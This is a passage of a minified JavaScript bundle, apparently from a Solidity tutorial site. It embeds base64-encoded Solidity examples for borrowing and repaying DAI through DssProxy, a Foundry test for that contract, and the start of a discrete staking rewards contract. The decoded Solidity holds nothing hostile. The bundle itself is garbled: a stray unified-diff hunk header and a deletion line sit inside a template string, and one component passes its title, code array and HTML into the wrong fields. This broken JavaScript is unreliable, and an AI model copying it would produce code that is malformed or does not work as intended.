2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgZHN0LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzcmMsIGFkZHJlc3MgZHN0LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"DaiProxyTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICIuLi8uLi8uLi9zcmMvZGVmaS9kYWktcHJveHkvRGFpUHJveHkuc29sIjsKCmFkZHJlc3MgY29uc3RhbnQgVkFUID0gMHgzNUQxYjNGM0Q3OTY2QTFERmUyMDdhYTQ1MTRDMTJhMjU5QTA0OTJCOwoKdWludDI1NiBjb25zdGFudCBXQUQgPSAxZTE4Owp1aW50MjU2IGNvbnN0YW50IFJBWSA9IDFlMjc7CnVpbnQyNTYgY29uc3RhbnQgUkFEID0gMWU0NTsKCnVpbnQyNTYgY29uc3RhbnQgRVRIX0FNT1VOVCA9IDEwMCAqIDFlMTg7CnVpbnQyNTYgY29uc3RhbnQgREFJX0FNT1VOVCA9IDEwMDAwICogMWUxODsKCmNvbnRyYWN0IERhaVByb3h5VGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSUNkcE1hbmFnZXIgcHJpdmF0ZSBjb25zdGFudCBjZHBNYW5hZ2VyID0gSUNkcE1hbmFnZXIoQ0RQX01BTkFHRVIpOwogICAgSVZhdCBwcml2YXRlIGNvbnN0YW50IHZhdCA9IElWYXQoVkFUKTsKICAgIERhaVByb3h5IHByaXZhdGUgcHJveHk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHByb3h5ID0gbmV3IERhaVByb3h5KCk7CgogICAgICAgIC8vIENoZWNrIG1pbiBib3Jyb3cKICAgICAgICBJVmF0LklsayBtZW1vcnkgaWxrID0gdmF0Lmlsa3MoRVRIX0MpOwogICAgICAgIGFzc2VydEdlKERBSV9BTU9VTlQgKiBSQVksIGlsay5kdXN0LCAiREFJIGJvcnJvdyBhbW91bnQgPCBkdXN0Iik7CgogICAgICAgIC8vIEludGVyZXN0IHJhdGUgYWNjdW11bGF0b3IKICAgICAgICBjb25zb2xlMi5sb2coImlsay5yYXRlIiwgaWxrLnJhdGUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHByaW50KGFkZHJlc3MgdXJuQWRkcikgcHJpdmF0ZSB7CiAgICAgICAgSVZhdC5Vcm4gbWVtb3J5IHVybiA9IHZhdC51cm5zKEVUSF9DLCB1cm5BZGRyKTsKICAgICAgICBjb25zb2xlMi5sb2coIi0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBjb2xsYXRlcmFsIFt3YWRdIiwgdXJuLmluayk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBkZWJ0ICAgICAgIFt3YWRdIiwgdXJuLmFydCk7CiAgICAgICAgY29uc29sZTIubG9nKCJEQUkgaW4gcHJveHkgICAgIFt3YWRdIiwgZGFpLmJhbGFuY2VPZihhZGRyZXNzKHByb3h5KSkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiRVRIIGluIHByb3h5ICAgICBbd2FkXSIsIGFkZHJlc3MocHJveHkpLmJhbGFuY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfcHJveHkoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgY2RwSWQgPSBwcm94eS5jZHBJZCgpOwogICAgICAgIGFkZHJlc3MgdXJuQWRkciA9IGNkcE1hbmFnZXIudXJucyhjZHBJZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiQmVmb3JlIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmxvY2tFdGh7dmFsdWU6IEVUSF9BTU9VTlR9KCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmJvcnJvdyhEQUlfQU1PVU5UKTsKICAgICAgICBjb25zb2xlMi5sb2coIiIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiQWZ0ZXIgYm9ycm93IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5yZXBheShEQUlfQU1PVU5UIC8gMik7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHBhcnRpYWwgcmVwYXkgREFJIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LnJlcGF5QWxsKCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHJlcGF5IGFsbCBEQUkiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKCiAgICAgICAgcHJveHkudW5sb2NrRXRoKEVUSF9BTU9VTlQpOwogICAgICAgIGNvbnNvbGUyLmxvZygiIik7CiAgICAgICAgY29uc29sZTIubG9nKCJBZnRlciB1bmxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CiAgICB9Cn0KCmludGVyZmFjZSBJVmF0IHsKICAgIC8vIENvbGxhdGVyYWwgdHlwZQogICAgc3RydWN0IElsayB7CiAgICAgICAgdWludDI1NiBBcnQ7IC8vIFRvdGFsIG5vcm1hbGl6ZWQgZGVidCAgICAgIFt3YWRdCiAgICAgICAgdWludDI1NiByYXRlOyAvLyBBY2N1bXVsYXRlZCByYXRlcyAgICAgICAgIFtyYXldCiAgICAgICAgdWludDI1NiBzcG90OyAvLyBQcmljZSB3aXRoIHNhZmV0eSBtYXJnaW4gIFtyYXldCiAgICAgICAgdWludDI1NiBsaW5lOyAvLyBEZWJ0IGNlaWxpbmcgICAgICAgICAgICAgIFtyYWRdCiAgICAgICAgdWludDI1NiBkdXN0OyAvLyBVcm4gZGVidCBmbG9vciAgICAgICAgICAgIFtyYWRdCiAgICB9CgogICAgLy8gVmF1bHQKICAgIHN0cnVjdCBVcm4gewogICAgICAgIHVpbnQyNTYgaW5rOyAvLyBMb2NrZWQgY29sbGF0ZXJhbCAgW3dhZF0KICAgICAgICB1aW50MjU2IGFydDsgLy8gTm9ybWFsaXNlZCBkZWJ0ICAgIFt3YWRdCiAgICB9CgogICAgZnVuY3Rpb24gaWxrcyhieXRlczMyIGlsaykgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChJbGsgbWVtb3J5KTsKICAgIGZ1bmN0aW9uIHVybnMoYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChVcm4gbWVtb3J5KTsKfQoKaW50ZXJmYWNlIElDZHBNYW5hZ2VyIHsKICAgIGZ1bmN0aW9uIHVybnModWludDI1NiBjZHBJZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzIHVybik7Cn0K"}],um=`

                    Example

                    +`,hm=({prev:s,next:a})=>r.jsx(A,{version:tm,title:om,description:rm,html:gm,prev:s,next:a,codes:im}),Im="0.8.24",dm="DAI Proxy Examples",Cm="Borrow and repay DAI using DssProxy",jm=[{fileName:"DaiProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFBST1hZX1JFR0lTVFJZID0gMHg0Njc4ZjBhNjk1OGU0RDJCYzRGMUJBRjdCYzUyRThGMzU2NGYzZkU0OwphZGRyZXNzIGNvbnN0YW50IFBST1hZX0FDVElPTlMgPSAweDgyZWNEMTM1RGNlNjVGYmM2RGJkRDBlNDIzN0UwQUY5M0ZGRDUwMzg7CmFkZHJlc3MgY29uc3RhbnQgQ0RQX01BTkFHRVIgPSAweDVlZjMwYjk5ODYzNDUyNDliYzMyZDg5MjhCN2VlNjRERTk0MzVFMzk7CmFkZHJlc3MgY29uc3RhbnQgSlVHID0gMHgxOWMwOTc2ZjU5MEQ2NzcwN0U2MjM5N0M4NzgyOWQ4OTZEYzBmMUYxOwphZGRyZXNzIGNvbnN0YW50IEpPSU5fRVRIX0MgPSAweEYwNGE1Y0M4MEIxRTk0QzY5QjQ4ZjVlZTY4YTA4Q0QyRjA5QTdjM0U7CmFkZHJlc3MgY29uc3RhbnQgSk9JTl9EQUkgPSAweDk3NTlBNkFjOTA5NzdiOTNCNTg1NDdiNEE3MWM3ODMxN2YzOTFBMjg7CgpieXRlczMyIGNvbnN0YW50IEVUSF9DID0KICAgIDB4NDU1NDQ4MmQ0MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDsKCmNvbnRyYWN0IERhaVByb3h5IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgYWRkcmVzcyBwdWJsaWMgaW1tdXRhYmxlIHByb3h5OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGNkcElkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIHByb3h5ID0gSURzc1Byb3h5UmVnaXN0cnkoUFJPWFlfUkVHSVNUUlkpLmJ1aWxkKCk7CiAgICAgICAgYnl0ZXMzMiByZXMgPSBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElEc3NQcm94eUFjdGlvbnMub3BlbiwgKENEUF9NQU5BR0VSLCBFVEhfQywgcHJveHkpKQogICAgICAgICk7CiAgICAgICAgY2RwSWQgPSB1aW50MjU2KHJlcyk7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBsb2NrRXRoKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRle3ZhbHVlOiBtc2cudmFsdWV9KAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMubG9ja0VUSCwgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gYm9ycm93KHVpbnQyNTYgZGFpQW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRlKAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMuZHJhdywKICAgICAgICAgICAgICAgIChDRFBfTUFOQUdFUiwgSlVHLCBKT0lOX0RBSSwgY2RwSWQsIGRhaUFtb3VudCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVwYXkodWludDI1NiBkYWlBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgZGFpQW1vdW50KTsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy53aXBlLCAoQ0RQX01BTkFHRVIsIEpPSU5fREFJLCBjZHBJZCwgZGFpQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXBheUFsbCgpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLndpcGVBbGwsIChDRFBfTUFOQUdFUiwgSk9JTl9EQUksIGNkcElkKQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmxvY2tFdGgodWludDI1NiBldGhBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5mcmVlRVRILAogICAgICAgICAgICAgICAgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCwgZXRoQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElEc3NQcm94eVJlZ2lzdHJ5IHsKICAgIGZ1bmN0aW9uIGJ1aWxkKCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyBwcm94eSk7Cn0KCmludGVyZmFjZSBJRHNzUHJveHkgewogICAgZnVuY3Rpb24gZXhlY3V0ZShhZGRyZXNzIHRhcmdldCwgYnl0ZXMgbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiByZXMpOwp9CgppbnRlcmZhY2UgSURzc1Byb3h5QWN0aW9ucyB7CiAgICBmdW5jdGlvbiBvcGVuKGFkZHJlc3MgY2RwTWFuYWdlciwgYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBjZHBJZCk7CiAgICBmdW5jdGlvbiBsb2NrRVRIKGFkZHJlc3MgY2RwTWFuYWdlciwgYWRkcmVzcyBldGhKb2luLCB1aW50MjU2IGNkcElkKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIGRyYXcoCiAgICAgICAgYWRkcmVzcyBjZHBNYW5hZ2VyLAogICAgICAgIGFkZHJlc3MganVnLAogICAgICAgIGFkZHJlc3MgZGFpSm9pbiwKICAgICAgICB1aW50MjU2IGNkcElkLAogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50CiAgICApIGV4dGVybmFsOwogICAgZnVuY3Rpb24gd2lwZSgKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBkYWlKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBkYWlBbW91bnQKICAgICkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB3aXBlQWxsKGFkZHJlc3MgY2RwTWFuYWdlciwgYWRkcmVzcyBkYWlKb2luLCB1aW50MjU2IGNkcElkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gZnJlZUVUSCgKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBldGhKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBjb2xsYXRlcmFsQW1vdW50CiAgICApIGV4dGVybmFsOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgZHN0LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzcmMsIGFkZHJlc3MgZHN0LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"DaiProxyTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICIuLi8uLi8uLi9zcmMvZGVmaS9kYWktcHJveHkvRGFpUHJveHkuc29sIjsKCmFkZHJlc3MgY29uc3RhbnQgVkFUID0gMHgzNUQxYjNGM0Q3OTY2QTFERmUyMDdhYTQ1MTRDMTJhMjU5QTA0OTJCOwoKdWludDI1NiBjb25zdGFudCBXQUQgPSAxZTE4Owp1aW50MjU2IGNvbnN0YW50IFJBWSA9IDFlMjc7CnVpbnQyNTYgY29uc3RhbnQgUkFEID0gMWU0NTsKCnVpbnQyNTYgY29uc3RhbnQgRVRIX0FNT1VOVCA9IDEwMCAqIDFlMTg7CnVpbnQyNTYgY29uc3RhbnQgREFJX0FNT1VOVCA9IDEwMDAwICogMWUxODsKCmNvbnRyYWN0IERhaVByb3h5VGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSUNkcE1hbmFnZXIgcHJpdmF0ZSBjb25zdGFudCBjZHBNYW5hZ2VyID0gSUNkcE1hbmFnZXIoQ0RQX01BTkFHRVIpOwogICAgSVZhdCBwcml2YXRlIGNvbnN0YW50IHZhdCA9IElWYXQoVkFUKTsKICAgIERhaVByb3h5IHByaXZhdGUgcHJveHk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHByb3h5ID0gbmV3IERhaVByb3h5KCk7CgogICAgICAgIC8vIENoZWNrIG1pbiBib3Jyb3cKICAgICAgICBJVmF0LklsayBtZW1vcnkgaWxrID0gdmF0Lmlsa3MoRVRIX0MpOwogICAgICAgIGFzc2VydEdlKERBSV9BTU9VTlQgKiBSQVksIGlsay5kdXN0LCAiREFJIGJvcnJvdyBhbW91bnQgPCBkdXN0Iik7CgogICAgICAgIC8vIEludGVyZXN0IHJhdGUgYWNjdW11bGF0b3IKICAgICAgICBjb25zb2xlMi5sb2coImlsay5yYXRlIiwgaWxrLnJhdGUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHByaW50KGFkZHJlc3MgdXJuQWRkcikgcHJpdmF0ZSB7CiAgICAgICAgSVZhdC5Vcm4gbWVtb3J5IHVybiA9IHZhdC51cm5zKEVUSF9DLCB1cm5BZGRyKTsKICAgICAgICBjb25zb2xlMi5sb2coIi0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBjb2xsYXRlcmFsIFt3YWRdIiwgdXJuLmluayk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBkZWJ0ICAgICAgIFt3YWRdIiwgdXJuLmFydCk7CiAgICAgICAgY29uc29sZTIubG9nKCJEQUkgaW4gcHJveHkgICAgIFt3YWRdIiwgZGFpLmJhbGFuY2VPZihhZGRyZXNzKHByb3h5KSkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiRVRIIGluIHByb3h5ICAgICBbd2FkXSIsIGFkZHJlc3MocHJveHkpLmJhbGFuY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfcHJveHkoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgY2RwSWQgPSBwcm94eS5jZHBJZCgpOwogICAgICAgIGFkZHJlc3MgdXJuQWRkciA9IGNkcE1hbmFnZXIudXJucyhjZHBJZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiQmVmb3JlIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmxvY2tFdGh7dmFsdWU6IEVUSF9BTU9VTlR9KCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmJvcnJvdyhEQUlfQU1PVU5UKTsKICAgICAgICBjb25zb2xlMi5sb2coIiIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiQWZ0ZXIgYm9ycm93IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5yZXBheShEQUlfQU1PVU5UIC8gMik7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHBhcnRpYWwgcmVwYXkgREFJIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LnJlcGF5QWxsKCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHJlcGF5IGFsbCBEQUkiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKCiAgICAgICAgcHJveHkudW5sb2NrRXRoKEVUSF9BTU9VTlQpOwogICAgICAgIGNvbnNvbGUyLmxvZygiIik7CiAgICAgICAgY29uc29sZTIubG9nKCJBZnRlciB1bmxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CiAgICB9Cn0KCmludGVyZmFjZSBJVmF0IHsKICAgIC8vIENvbGxhdGVyYWwgdHlwZQogICAgc3RydWN0IElsayB7CiAgICAgICAgdWludDI1NiBBcnQ7IC8vIFRvdGFsIG5vcm1hbGl6ZWQgZGVidCAgICAgIFt3YWRdCiAgICAgICAgdWludDI1NiByYXRlOyAvLyBBY2N1bXVsYXRlZCByYXRlcyAgICAgICAgIFtyYXldCiAgICAgICAgdWludDI1NiBzcG90OyAvLyBQcmljZSB3aXRoIHNhZmV0eSBtYXJnaW4gIFtyYXldCiAgICAgICAgdWludDI1NiBsaW5lOyAvLyBEZWJ0IGNlaWxpbmcgICAgICAgICAgICAgIFtyYWRdCiAgICAgICAgdWludDI1NiBkdXN0OyAvLyBVcm4gZGVidCBmbG9vciAgICAgICAgICAgIFtyYWRdCiAgICB9CgogICAgLy8gVmF1bHQKICAgIHN0cnVjdCBVcm4gewogICAgICAgIHVpbnQyNTYgaW5rOyAvLyBMb2NrZWQgY29sbGF0ZXJhbCAgW3dhZF0KICAgICAgICB1aW50MjU2IGFydDsgLy8gTm9ybWFsaXNlZCBkZWJ0ICAgIFt3YWRdCiAgICB9CgogICAgZnVuY3Rpb24gaWxrcyhieXRlczMyIGlsaykgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChJbGsgbWVtb3J5KTsKICAgIGZ1bmN0aW9uIHVybnMoYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChVcm4gbWVtb3J5KTsKfQoKaW50ZXJmYWNlIElDZHBNYW5hZ2VyIHsKICAgIGZ1bmN0aW9uIHVybnModWludDI1NiBjZHBJZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzIHVybik7Cn0K"}],Am=`

                    Example

                    Example of locking ETH collateral, borrowing DAI, repaying DAI and unlocking ETH using DssProxy.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -4853,7 +4853,7 @@ specify the location of the data.
                    
 interface ICdpManager {
     function urns(uint256 cdpId) external view returns (address urn);
 }
-
                    `,ym=({prev:s,next:a})=>r.jsx(A,{version:dm,title:Cm,description:jm,html:um,prev:s,next:a,codes:Am}),mm="0.8.24",bm="Discrete Staking Rewards",wm="Discrete staking rewards",km=[{fileName:"DiscreteStakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERpc2NyZXRlU3Rha2luZ1Jld2FyZHMgewogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgc3Rha2luZ1Rva2VuOwogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgcmV3YXJkVG9rZW47CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTVVMVElQTElFUiA9IDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgcmV3YXJkSW5kZXg7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHJpdmF0ZSByZXdhcmRJbmRleE9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHByaXZhdGUgZWFybmVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3N0YWtpbmdUb2tlbiwgYWRkcmVzcyBfcmV3YXJkVG9rZW4pIHsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkVG9rZW4gPSBJRVJDMjAoX3Jld2FyZFRva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1cGRhdGVSZXdhcmRJbmRleCh1aW50MjU2IHJld2FyZCkgZXh0ZXJuYWwgewogICAgICAgIHJld2FyZFRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCByZXdhcmQpOwogICAgICAgIHJld2FyZEluZGV4ICs9IChyZXdhcmQgKiBNVUxUSVBMSUVSKSAvIHRvdGFsU3VwcGx5OwogICAgfQoKICAgIGZ1bmN0aW9uIF9jYWxjdWxhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgdWludDI1NiBzaGFyZXMgPSBiYWxhbmNlT2ZbYWNjb3VudF07CiAgICAgICAgcmV0dXJuIChzaGFyZXMgKiAocmV3YXJkSW5kZXggLSByZXdhcmRJbmRleE9mW2FjY291bnRdKSkgLyBNVUxUSVBMSUVSOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbGN1bGF0ZVJld2FyZHNFYXJuZWQoYWRkcmVzcyBhY2NvdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIGVhcm5lZFthY2NvdW50XSArIF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF91cGRhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkgcHJpdmF0ZSB7CiAgICAgICAgZWFybmVkW2FjY291bnRdICs9IF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgICAgIHJld2FyZEluZGV4T2ZbYWNjb3VudF0gPSByZXdhcmRJbmRleDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFrZSh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgc3Rha2luZ1Rva2V